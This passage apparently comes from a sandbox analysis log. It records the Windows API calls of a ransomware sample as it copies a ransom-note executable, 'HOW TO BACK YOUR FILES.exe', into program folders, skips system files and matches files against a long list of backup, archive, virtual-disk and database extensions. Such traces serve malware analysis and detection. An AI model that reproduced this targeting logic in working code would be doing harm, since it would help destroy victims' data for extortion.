(normalized: "c:\\program files (x86)\\google\\crashreports\\how to back your files.exe"), bFailIfExists=1) returned 0 [0093.136] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\crashreports\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0093.136] GetLastError () returned 0x0 [0093.136] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0093.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0093.136] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0093.137] CloseHandle (hObject=0xf4) returned 1 [0093.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0093.137] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0093.137] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc0c1b6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0c1b6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0093.137] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.137] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.137] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0093.137] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc0c1b6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0c1b6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.137] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.137] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.137] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0093.138] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0093.138] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0c1b6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0c1b6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0093.138] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0093.138] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0c1b6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0c1b6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0093.138] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0093.138] ReleaseMutex (hMutex=0xec) returned 1 [0093.138] CloseHandle (hObject=0xec) returned 1 [0093.138] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Internet Explorer\\en-US" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\en-US") returned="C:\\Program Files (x86)\\Internet Explorer\\en-US" [0093.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51bc20 | out: hHeap=0x4f0000) returned 1 [0093.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c560 | out: hHeap=0x4f0000) returned 1 [0093.138] lstrlenW (lpString="C:\\Program Files (x86)\\Internet Explorer\\en-US") returned 46 [0093.138] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AEC3D3DF3560D2F1764BA78A4300FBDE") returned 0xec [0093.138] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0093.138] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Internet Explorer\\en-US" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\en-US") returned="C:\\Program Files (x86)\\Internet Explorer\\en-US" [0093.138] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0093.138] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0093.139] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0093.139] GetLastError () returned 0x0 [0093.139] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0093.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0093.139] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0093.140] CloseHandle (hObject=0xf4) returned 1 [0093.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0093.140] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0093.140] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc0c41800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0c41800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0093.140] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.140] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.140] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0093.140] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc0c41800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0c41800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.140] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.140] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.140] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0093.140] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0093.140] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0093.140] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.140] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".") returned 1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="..") returned 1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="windows") returned -1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="bootmgr") returned 1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="temp") returned -1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="pagefile.sys") returned -1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="boot") returned 1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="ids.txt") returned -1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="ntuser.dat") returned -1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="perflogs") returned -1 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="MSBuild") returned -1 [0093.141] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0093.141] lstrcpyW (in: lpString1=0x241e8a6, lpString2="hmmapi.dll.mui" | out: lpString1="hmmapi.dll.mui") returned="hmmapi.dll.mui" [0093.141] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0093.141] lstrlenW (lpString="Athena865") returned 9 [0093.141] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0093.141] lstrlenW (lpString=".dll") returned 4 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".dll") returned 1 [0093.141] lstrlenW (lpString=".lnk") returned 4 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".lnk") returned 1 [0093.141] lstrlenW (lpString=".ini") returned 4 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".ini") returned 1 [0093.141] lstrlenW (lpString=".sys") returned 4 [0093.141] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".sys") returned 1 [0093.141] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0093.141] lstrlenW (lpString="bak") returned 3 [0093.141] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0093.141] lstrlenW (lpString="ba_") returned 3 [0093.141] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0093.141] lstrlenW (lpString="dbb") returned 3 [0093.141] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0093.142] lstrlenW (lpString="vmdk") returned 4 [0093.142] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0093.142] lstrlenW (lpString="rar") returned 3 [0093.142] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0093.142] lstrlenW (lpString="zip") returned 3 [0093.142] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0093.142] lstrlenW (lpString="tgz") returned 3 [0093.142] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0093.142] lstrlenW (lpString="vbox") returned 4 [0093.142] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0093.142] lstrlenW (lpString="vdi") returned 3 [0093.142] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0093.142] lstrlenW (lpString="vhd") returned 3 [0093.142] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0093.142] lstrlenW (lpString="vhdx") returned 4 [0093.142] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0093.142] lstrlenW (lpString="avhd") returned 4 [0093.142] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0093.142] lstrlenW (lpString="db") returned 2 [0093.142] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0093.142] lstrlenW (lpString="db2") returned 3 [0093.142] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0093.142] lstrlenW (lpString="db3") returned 3 [0093.142] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0093.142] lstrlenW (lpString="dbf") returned 3 [0093.142] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0093.142] lstrlenW (lpString="mdf") returned 3 [0093.142] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0093.142] lstrlenW (lpString="mdb") returned 3 [0093.142] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0093.142] lstrlenW (lpString="sql") returned 3 [0093.143] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0093.143] lstrlenW (lpString="sqlite") returned 6 [0093.143] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0093.143] lstrlenW (lpString="sqlite3") returned 7 [0093.143] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0093.143] lstrlenW (lpString="sqlitedb") returned 8 [0093.143] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0093.143] lstrlenW (lpString="xml") returned 3 [0093.143] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0093.143] lstrlenW (lpString="$er") returned 3 [0093.143] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0093.143] lstrlenW (lpString="4dd") returned 3 [0093.143] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0093.143] lstrlenW (lpString="4dl") returned 3 [0093.143] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0093.143] lstrlenW (lpString="^^^") returned 3 [0093.143] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0093.143] lstrlenW (lpString="abs") returned 3 [0093.143] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0093.143] lstrlenW (lpString="abx") returned 3 [0093.143] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0093.143] lstrlenW (lpString="accdb") returned 5 [0093.143] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0093.143] lstrlenW (lpString="accdc") returned 5 [0093.143] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0093.143] lstrlenW (lpString="accde") returned 5 [0093.143] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0093.143] lstrlenW (lpString="accdr") returned 5 [0093.143] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0093.143] lstrlenW (lpString="accdt") returned 5 [0093.143] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0093.143] lstrlenW (lpString="accdw") returned 5 [0093.144] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0093.144] lstrlenW (lpString="accft") returned 5 [0093.144] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0093.144] lstrlenW (lpString="adb") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.144] lstrlenW (lpString="adb") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.144] lstrlenW (lpString="ade") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0093.144] lstrlenW (lpString="adf") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0093.144] lstrlenW (lpString="adn") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0093.144] lstrlenW (lpString="adp") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0093.144] lstrlenW (lpString="alf") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0093.144] lstrlenW (lpString="ask") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0093.144] lstrlenW (lpString="btr") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0093.144] lstrlenW (lpString="cat") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0093.144] lstrlenW (lpString="cdb") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0093.144] lstrlenW (lpString="ckp") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0093.144] lstrlenW (lpString="cma") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0093.144] lstrlenW (lpString="cpd") returned 3 [0093.144] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0093.145] lstrlenW (lpString="dacpac") returned 6 [0093.145] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0093.145] lstrlenW (lpString="dad") returned 3 [0093.145] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0093.145] lstrlenW (lpString="dadiagrams") returned 10 [0093.145] lstrcmpiW (lpString1="pi.dll.mui", lpString2="dadiagrams") returned 1 [0093.145] lstrlenW (lpString="daschema") returned 8 [0093.145] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0093.145] lstrlenW (lpString="db-journal") returned 10 [0093.145] lstrcmpiW (lpString1="pi.dll.mui", lpString2="db-journal") returned 1 [0093.145] lstrlenW (lpString="db-shm") returned 6 [0093.145] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0093.145] lstrlenW (lpString="db-wal") returned 6 [0093.145] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0093.145] lstrlenW (lpString="dbc") returned 3 [0093.145] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0093.145] lstrlenW (lpString="dbs") returned 3 [0093.145] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0093.145] lstrlenW (lpString="dbt") returned 3 [0093.145] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0093.145] lstrlenW (lpString="dbv") returned 3 [0093.145] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0093.145] lstrlenW (lpString="dbx") returned 3 [0093.145] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0093.145] lstrlenW (lpString="dcb") returned 3 [0093.145] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0093.145] lstrlenW (lpString="dct") returned 3 [0093.145] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0093.145] lstrlenW (lpString="dcx") returned 3 [0093.145] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0093.145] lstrlenW (lpString="ddl") returned 3 [0093.145] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0093.146] lstrlenW (lpString="dlis") returned 4 [0093.146] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0093.146] lstrlenW (lpString="dp1") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0093.146] lstrlenW (lpString="dqy") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0093.146] lstrlenW (lpString="dsk") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0093.146] lstrlenW (lpString="dsn") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0093.146] lstrlenW (lpString="dtsx") returned 4 [0093.146] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0093.146] lstrlenW (lpString="dxl") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0093.146] lstrlenW (lpString="eco") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0093.146] lstrlenW (lpString="ecx") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0093.146] lstrlenW (lpString="edb") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0093.146] lstrlenW (lpString="epim") returned 4 [0093.146] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0093.146] lstrlenW (lpString="fcd") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0093.146] lstrlenW (lpString="fdb") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0093.146] lstrlenW (lpString="fic") returned 3 [0093.146] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0093.146] lstrlenW (lpString="flexolibrary") returned 12 [0093.146] lstrcmpiW (lpString1="mapi.dll.mui", lpString2="flexolibrary") returned 1 [0093.146] lstrlenW (lpString="fm5") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0093.147] lstrlenW (lpString="fmp") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0093.147] lstrlenW (lpString="fmp12") returned 5 [0093.147] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0093.147] lstrlenW (lpString="fmpsl") returned 5 [0093.147] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0093.147] lstrlenW (lpString="fol") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0093.147] lstrlenW (lpString="fp3") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0093.147] lstrlenW (lpString="fp4") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0093.147] lstrlenW (lpString="fp5") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0093.147] lstrlenW (lpString="fp7") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0093.147] lstrlenW (lpString="fpt") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0093.147] lstrlenW (lpString="frm") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0093.147] lstrlenW (lpString="gdb") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0093.147] lstrlenW (lpString="gdb") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0093.147] lstrlenW (lpString="grdb") returned 4 [0093.147] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0093.147] lstrlenW (lpString="gwi") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0093.147] lstrlenW (lpString="hdb") returned 3 [0093.147] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0093.147] lstrlenW (lpString="his") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0093.148] lstrlenW (lpString="ib") returned 2 [0093.148] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0093.148] lstrlenW (lpString="idb") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0093.148] lstrlenW (lpString="ihx") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0093.148] lstrlenW (lpString="itdb") returned 4 [0093.148] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0093.148] lstrlenW (lpString="itw") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0093.148] lstrlenW (lpString="jet") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0093.148] lstrlenW (lpString="jtx") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0093.148] lstrlenW (lpString="kdb") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0093.148] lstrlenW (lpString="kexi") returned 4 [0093.148] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0093.148] lstrlenW (lpString="kexic") returned 5 [0093.148] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0093.148] lstrlenW (lpString="kexis") returned 5 [0093.148] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0093.148] lstrlenW (lpString="lgc") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0093.148] lstrlenW (lpString="lwx") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0093.148] lstrlenW (lpString="maf") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0093.148] lstrlenW (lpString="maq") returned 3 [0093.148] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0093.149] lstrlenW (lpString="mar") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0093.149] lstrlenW (lpString="marshal") returned 7 [0093.149] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0093.149] lstrlenW (lpString="mas") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0093.149] lstrlenW (lpString="mav") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0093.149] lstrlenW (lpString="maw") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0093.149] lstrlenW (lpString="mdbhtml") returned 7 [0093.149] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0093.149] lstrlenW (lpString="mdn") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0093.149] lstrlenW (lpString="mdt") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0093.149] lstrlenW (lpString="mfd") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0093.149] lstrlenW (lpString="mpd") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0093.149] lstrlenW (lpString="mrg") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0093.149] lstrlenW (lpString="mud") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0093.149] lstrlenW (lpString="mwb") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0093.149] lstrlenW (lpString="myd") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0093.149] lstrlenW (lpString="ndf") returned 3 [0093.149] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0093.150] lstrlenW (lpString="nnt") returned 3 [0093.150] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0093.150] lstrlenW (lpString="nrmlib") returned 6 [0093.150] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0093.150] lstrlenW (lpString="ns2") returned 3 [0093.150] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0093.150] lstrlenW (lpString="ns3") returned 3 [0093.150] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0093.150] lstrlenW (lpString="ns4") returned 3 [0093.150] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0093.150] lstrlenW (lpString="nsf") returned 3 [0093.150] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0093.150] lstrlenW (lpString="nv") returned 2 [0093.150] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0093.150] lstrlenW 